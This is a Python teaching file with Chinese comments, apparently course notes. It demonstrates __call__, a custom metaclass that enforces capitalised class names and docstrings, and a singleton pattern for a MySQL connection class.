# # 然后将对象本身当作第一个参数传给self,将调用对象时括号内的值
# #传给*args与**kwargs
# def __call__(self, *args, **kwargs):
# print('__call__',args,kwargs)
#
#
# obj=Foo()
# # print(obj)
#
# obj(1,2,3,a=1,b=2,c=3) #
# #4 、自定义元类:
# class Mymeta(type):
# # 来控制类Foo的创建
# def __init__(self,class_name,class_bases,class_dic): #self=Foo
# # print(class_name)
# # print(class_bases)
# # print(class_dic)
# if not class_name.istitle():
# raise TypeError('类名的首字母必须大写傻叉')
#
# if not class_dic.get('__doc__'):
# raise TypeError('类中必须写好文档注释,大傻叉')
#
# super(Mymeta,self).__init__(class_name,class_bases,class_dic)
#
# # 控制类Foo的调用过程,即控制实例化Foo的过程
# def __call__(self, *args, **kwargs): #self=Foo,args=(1111,) kwargs={}
# # print(self)
# # print(args)
# # print(kwargs)
#
# #1 造一个空对象obj
# obj=object.__new__(self)
#
# #2、调用Foo.__init__,将obj连同调用Foo括号内的参数一同传给__init__
# self.__init__(obj,*args,**kwargs)
#
# return obj
#
#
#
# #Foo=Mymeta('Foo',(object,),class_dic)
# class Foo(object,metaclass=Mymeta):
# """
# 文档注释
# """
# x=1
# def __init__(self,y):
# self.Y=y
#
# def f1(self):
# print('from f1')
#
#
# obj=Foo(1111) #Foo.__call__()
#
# # print(obj)
# # print(obj.y)
# # print(obj.f1)
# # print(obj.x)
# 单例模式
import settings
class MySQL:
__instance=None
def __init__(self,ip,port):
self.ip=ip
self.port=port
@classmethod
def singleton(cls):
if not cls.__instance:
obj=cls(settings.IP, settings.PORT)
cls.__instance=obj
return cls.__instance
obj1=MySQL('1.1.1.2',3306)
obj2=MySQL('1.1.1.3',3307)
obj3=MySQL('1.1.1.4',3308)
# obj4=MySQL(settings.IP,settings.PORT)
# print(obj4.ip,obj4.port)
obj4=MySQL.singleton()
obj5=MySQL.singleton()
obj6=MySQL.singleton()
print(obj4 is obj5 is obj6)
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.